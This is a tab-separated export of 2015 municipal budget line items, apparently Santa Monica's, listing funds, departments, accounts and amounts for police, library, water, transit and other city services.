17621	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569400.0	JACARANDA MUSIC	810.0	 Supplies and Expenses	2015	26000	0	0	0	0	0	0	0	0	0	0	0	26000
17622	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569410.0	CITY GARAGE	810.0	 Supplies and Expenses	2015	7000	0	0	0	0	0	0	0	0	0	0	0	7000
17623	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2015	13167	0	0	0	0	0	0	0	0	0	0	0	13167
17624	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2015	419489	0	0	0	0	0	0	0	0	0	0	0	419489
17625	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	533220.0	BLDG / STRUCTURE MAINTENANCE	816.0	 Supplies and Expenses	2015	10180	0	0	0	0	0	0	0	0	0	0	0	10180
17626	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2015	1527	0	0	0	0	0	0	0	0	0	0	0	1527
17627	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2015	8770	0	0	0	0	0	0	0	0	0	0	0	8770
17628	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2015	13234	0	0	0	0	0	0	0	0	0	0	0	13234
17629	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2015	10180	0	0	0	0	0	0	0	0	0	0	0	10180
17630	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2015	8220	0	0	0	0	0	0	0	0	0	0	0	8220
17631	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	1026646	0	0	0	0	0	0	0	0	0	0	0	1026646
17632	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2015	32190	0	0	0	0	0	0	0	0	0	0	0	32190
17633	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	544010.0	SPECIAL DEPARTMENT SUPPLIES	810.0	 Supplies and Expenses	2015	36525	0	0	0	0	0	0	0	0	0	0	0	36525
17634	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2015	7000	0	0	0	0	0	0	0	0	0	0	0	7000
17635	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2015	7000	0	0	0	0	0	0	0	0	0	0	0	7000
17636	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17637	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522720.0	MILEAGE	816.0	 Supplies and Expenses	2015	110	0	0	0	0	0	0	0	0	0	0	0	110
17638	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2015	658	0	0	0	0	0	0	0	0	0	0	0	658
17639	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2015	45000	0	0	0	0	0	0	0	0	0	0	0	45000
17640	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	400890.0	CITY OF LA  - SEWER REPAIR	650.0	Charges for Service	2015	-398112	0	0	0	0	0	0	0	0	0	0	0	-398112
17641	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	401660.0	WASTEWATER CAPITAL FAC FEES	650.0	Charges for Service	2015	-400000	0	0	0	0	0	0	0	0	0	0	0	-400000
17642	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	401990.0	SADDLE FEES	650.0	Charges for Service	2015	-75000	0	0	0	0	0	0	0	0	0	0	0	-75000
17643	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2015	5617	0	0	0	0	0	0	0	0	0	0	0	5617
17644	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17645	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2015	1527	0	0	0	0	0	0	0	0	0	0	0	1527
17646	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2015	113550	0	0	0	0	0	0	0	0	0	0	0	113550
17647	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	577040.0	AUDIT FEES	804.0	 Supplies and Expenses	2015	117670	0	0	0	0	0	0	0	0	0	0	0	117670
17648	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511490.0	OVERTIME	804.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17649	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17650	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2015	3799316	0	0	0	0	0	0	0	0	0	0	0	3799316
17651	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511500.0	TEMPORARY EMPLOYEES	806.0	Salaries and Wages	2015	65187	0	0	0	0	0	0	0	0	0	0	0	65187
17652	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2015	207251	0	0	0	0	0	0	0	0	0	0	0	207251
17653	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2015	707524	0	0	0	0	0	0	0	0	0	0	0	707524
17654	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544090.0	MEDICAL/FIRST AID SUPPLIES	806.0	 Supplies and Expenses	2015	648	0	0	0	0	0	0	0	0	0	0	0	648
17655	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2015	35869	0	0	0	0	0	0	0	0	0	0	0	35869
17656	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511650.0	POLICE CADETS	806.0	Salaries and Wages	2015	29510	0	0	0	0	0	0	0	0	0	0	0	29510
17657	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2015	95280	0	0	0	0	0	0	0	0	0	0	0	95280
17658	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522920.0	VEHICLES - REPAIRS	806.0	 Supplies and Expenses	2015	1043	0	0	0	0	0	0	0	0	0	0	0	1043
17659	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	533210.0	BLDG OPER / CUST SUPPLIES	806.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17660	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522620.0	RENT	806.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17661	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2015	9451	0	0	0	0	0	0	0	0	0	0	0	9451
17662	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511030.0	DIVE PAY		Salaries and Wages	2015	18900	0	0	0	0	0	0	0	0	0	0	0	18900
17663	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544030.0	BADGE / AWARD / NAME PLATES		 Supplies and Expenses	2015	105	0	0	0	0	0	0	0	0	0	0	0	105
17664	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2015	5685	0	0	0	0	0	0	0	0	0	0	0	5685
17665	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544090.0	MEDICAL/FIRST AID SUPPLIES	806.0	 Supplies and Expenses	2015	142375	0	0	0	0	0	0	0	0	0	0	0	142375
17666	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2015	7370	0	0	0	0	0	0	0	0	0	0	0	7370
17667	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2015	1703	0	0	0	0	0	0	0	0	0	0	0	1703
17668	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522044.0	PREMIUMS FOR PL & PD-SRV REV		 Supplies and Expenses	2015	10200	0	0	0	0	0	0	0	0	0	0	0	10200
17669	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522624.0	JOINT FACILITIES RENT		 Supplies and Expenses	2015	17500	0	0	0	0	0	0	0	0	0	0	0	17500
17670	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522625.0	OTHER OPERATING RENTS		 Supplies and Expenses	2015	2000	0	0	0	0	0	0	0	0	0	0	0	2000
17671	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	577062.0	OTHER TRAFFIC EXPENSES		 Supplies and Expenses	2015	10000	0	0	0	0	0	0	0	0	0	0	0	10000
17672	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2015	30000	0	0	0	0	0	0	0	0	0	0	0	30000
17673	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2015	151951	0	0	0	0	0	0	0	0	0	0	0	151951
17674	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401220.0	REC-PARK BUILDING RENTAL	618.0	Rentals	2015	-156400	0	0	0	0	0	0	0	0	0	0	0	-156400
17675	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17676	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2015	11272	0	0	0	0	0	0	0	0	0	0	0	11272
17677	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533260.0	REPAIRS/IMPROVEMENTS	812.0	 Supplies and Expenses	2015	66000	0	0	0	0	0	0	0	0	0	0	0	66000
17678	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17679	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2015	72930	0	0	0	0	0	0	0	0	0	0	0	72930
17680	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2015	854271	0	0	0	0	0	0	0	0	0	0	0	854271
17681	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2015	17057	0	0	0	0	0	0	0	0	0	0	0	17057
17682	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511550.0	LIBRARY PAGES	812.0	Salaries and Wages	2015	167149	0	0	0	0	0	0	0	0	0	0	0	167149
17683	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544040.0	BOOKS/PAMPHLETS	812.0	 Supplies and Expenses	2015	556293	0	0	0	0	0	0	0	0	0	0	0	556293
17684	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544070.0	NON-PRINT RESOURCES	812.0	 Supplies and Expenses	2015	208000	0	0	0	0	0	0	0	0	0	0	0	208000
17685	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2015	11000	0	0	0	0	0	0	0	0	0	0	0	11000
17686	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2015	9000	0	0	0	0	0	0	0	0	0	0	0	9000
17687	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	510000.0	SALARIES AND WAGES	808.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17688	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2015	17135	0	0	0	0	0	0	0	0	0	0	0	17135
17689	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2015	168500	0	0	0	0	0	0	0	0	0	0	0	168500
17690	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2015	157000	0	0	0	0	0	0	0	0	0	0	0	157000
17691	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522650.0	OTHER OPERATING RENT	866.0	 Supplies and Expenses	2015	230634	0	0	0	0	0	0	0	0	0	0	0	230634
17692	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511490.0	OVERTIME	840.0	Salaries and Wages	2015	141487	0	0	0	0	0	0	0	0	0	0	0	141487
17693	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	523000.0	VEHICLE MGMT FUND-MAINTENANCE	846.0	 Supplies and Expenses	2015	198433	0	0	0	0	0	0	0	0	0	0	0	198433
17694	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555060.0	PROFESSIONAL SERVICES	844.0	 Supplies and Expenses	2015	500000	0	0	0	0	0	0	0	0	0	0	0	500000
17695	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522140.0	WATER PURCHASES	852.0	 Supplies and Expenses	2015	4504200	0	0	0	0	0	0	0	0	0	0	0	4504200
17696	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566940.0	PARKING AUTHORITY REV BOND	910.0	 Supplies and Expenses	2015	1133826	0	0	0	0	0	0	0	0	0	0	0	1133826
17697	BA	IS	14	TORCA Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577860.0	TORCA REIMBURSEMENT	910.0	 Supplies and Expenses	2015	73061	0	0	0	0	0	0	0	0	0	0	0	73061
17698	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578250.0	STORMWATER / WASTEWATER		 Supplies and Expenses	2015	-1147521	0	0	0	0	0	0	0	0	0	0	0	-1147521
17699	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522030.0	INVESTIGATION EXPENSES	862.0	 Supplies and Expenses	2015	25000	0	0	0	0	0	0	0	0	0	0	0	25000
17700	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522040.0	INSURANCE AND BONDS	860.0	 Supplies and Expenses	2015	840000	0	0	0	0	0	0	0	0	0	0	0	840000
17701	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	910.0	 Supplies and Expenses	2015	294712	0	0	0	0	0	0	0	0	0	0	0	294712
17702	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402310.0	WATER - COMMERCIAL SALES	650.0	Charges for Service	2015	-19066600	0	0	0	0	0	0	0	0	0	0	0	-19066600
17703	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402210.0	MAUSOLEUM SALES	650.0	Charges for Service	2015	-115477	0	0	0	0	0	0	0	0	0	0	0	-115477
17704	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	400210.0	CITY CLERK COUNTER FEES	612.0	Charges for Service	2015	-500	0	0	0	0	0	0	0	0	0	0	0	-500
17705	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	401340.0	GEN PROM BUS LIC.-DOWNTOWN	622.0	Other	2015	-10150	0	0	0	0	0	0	0	0	0	0	0	-10150
17706	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	401350.0	GEN PROM BUS LICENSE MONTANA	622.0	Other	2015	-5350	0	0	0	0	0	0	0	0	0	0	0	-5350
17707	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522950.0	CNG FUEL	806.0	 Supplies and Expenses	2015	267	0	0	0	0	0	0	0	0	0	0	0	267
17708	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2015	5395	0	0	0	0	0	0	0	0	0	0	0	5395
17709	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544010.0	SPEC DEPT SUPPLIES	816.0	 Supplies and Expenses	2015	26313	0	0	0	0	0	0	0	0	0	0	0	26313
17710	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17711	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2015	7635	0	0	0	0	0	0	0	0	0	0	0	7635
17712	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2015	10155	0	0	0	0	0	0	0	0	0	0	0	10155
17713	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400000.0	REVENUE		REVENUE	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17714	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401311.0	CONTRACT CLASSES	612.0	Charges for Service	2015	-1110000	0	0	0	0	0	0	0	0	0	0	0	-1110000
17715	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522311.0	DISCOUNTS AVAILABLE	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17716	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522180.0	BANK FEES		 Supplies and Expenses	2015	7126	0	0	0	0	0	0	0	0	0	0	0	7126
17717	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	566631.0	SMURRF PLANT MAINTENANCE		 Supplies and Expenses	2015	432650	0	0	0	0	0	0	0	0	0	0	0	432650
17718	BA	IS	4	Special Revenue Source Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404400.0	AFFORD HSING PROD PRGM DEVELOP	622.0	Other	2015	-1312000	0	0	0	0	0	0	0	0	0	0	0	-1312000
17719	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2015	1000	0	0	0	0	0	0	0	0	0	0	0	1000
17720	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2015	1092	0	0	0	0	0	0	0	0	0	0	0	1092
17721	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2015	75000	0	0	0	0	0	0	0	0	0	0	0	75000
17722	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	555010.0	CONTRACTUAL SERVICES	806.0	 Supplies and Expenses	2015	4896	0	0	0	0	0	0	0	0	0	0	0	4896
17723	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2015	700368	0	0	0	0	0	0	0	0	0	0	0	700368
17724	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2015	4800	0	0	0	0	0	0	0	0	0	0	0	4800
17725	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522315.0	MULTIMEDIA		 Supplies and Expenses	2015	12400	0	0	0	0	0	0	0	0	0	0	0	12400
17726	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522546.0	MEDIA BUYS		 Supplies and Expenses	2015	10000	0	0	0	0	0	0	0	0	0	0	0	10000
17727	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577080.0	TMP FEES REIMBURSEMENT	910.0	 Supplies and Expenses	2015	597147	0	0	0	0	0	0	0	0	0	0	0	597147
17728	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522710.0	AUTO REIMBURSEMENT	804.0	 Supplies and Expenses	2015	35761	0	0	0	0	0	0	0	0	0	0	0	35761
17729	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402650.0	NON-TRANSP REV-OPER	662.0	Other	2015	-26399	0	0	0	0	0	0	0	0	0	0	0	-26399
17730	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404080.0	INTEREST - CAPITAL	659.0	Investment Income	2015	-142701	0	0	0	0	0	0	0	0	0	0	0	-142701
17731	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	407340.0	US TREASURY REIMBURSEMENTS	610.0	Intergovernmental	2015	-39615	0	0	0	0	0	0	0	0	0	0	0	-39615
17732	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	555980.0	COST OF BOND ISSUANCE	816.0	 Supplies and Expenses	2015	400000	0	0	0	0	0	0	0	0	0	0	0	400000
17733	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2015	214	0	0	0	0	0	0	0	0	0	0	0	214
17734	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	522318.0	SAFETY & SERVICE AWARDS		 Supplies and Expenses	2015	25000	0	0	0	0	0	0	0	0	0	0	0	25000
17735	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	577130.0	CONSUMER PROTECTION UNIT	804.0	 Supplies and Expenses	2015	15074	0	0	0	0	0	0	0	0	0	0	0	15074
17736	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	577140.0	DISABILITY ACCOMODATIONS	804.0	 Supplies and Expenses	2015	300	0	0	0	0	0	0	0	0	0	0	0	300
17737	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522830.0	FUEL AND OIL TAXES-REV EQUIP		 Supplies and Expenses	2015	256250	0	0	0	0	0	0	0	0	0	0	0	256250
17738	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401040.0	DONATIONS	622.0	Other	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17739	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400790.0	OUTDOOR DINING-TRANSIT MALL AR	618.0	Rentals	2015	-92010	0	0	0	0	0	0	0	0	0	0	0	-92010
17740	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2015	26908	0	0	0	0	0	0	0	0	0	0	0	26908
17741	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2015	327420	0	0	0	0	0	0	0	0	0	0	0	327420
17742	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544171.0	PARTICIPANT UNIFORMS	810.0	 Supplies and Expenses	2015	21460	0	0	0	0	0	0	0	0	0	0	0	21460
17743	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2015	205	0	0	0	0	0	0	0	0	0	0	0	205
17744	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2015	9711	0	0	0	0	0	0	0	0	0	0	0	9711
17745	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2015	3487	0	0	0	0	0	0	0	0	0	0	0	3487
17746	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2015	5857	0	0	0	0	0	0	0	0	0	0	0	5857
17747	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2015	1908	0	0	0	0	0	0	0	0	0	0	0	1908
17748	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2015	3077	0	0	0	0	0	0	0	0	0	0	0	3077
17749	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2015	106357	0	0	0	0	0	0	0	0	0	0	0	106357
17750	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555950.0	COMM SERV FACIL / MGMT	810.0	 Supplies and Expenses	2015	2000	0	0	0	0	0	0	0	0	0	0	0	2000
17751	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		TURNING POINT-PROP A		 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17752	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	404770.0	PROP C LOCAL RETURN	610.0	Intergovernmental	2015	-1353554	0	0	0	0	0	0	0	0	0	0	0	-1353554
17753	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2015	26716	0	0	0	0	0	0	0	0	0	0	0	26716
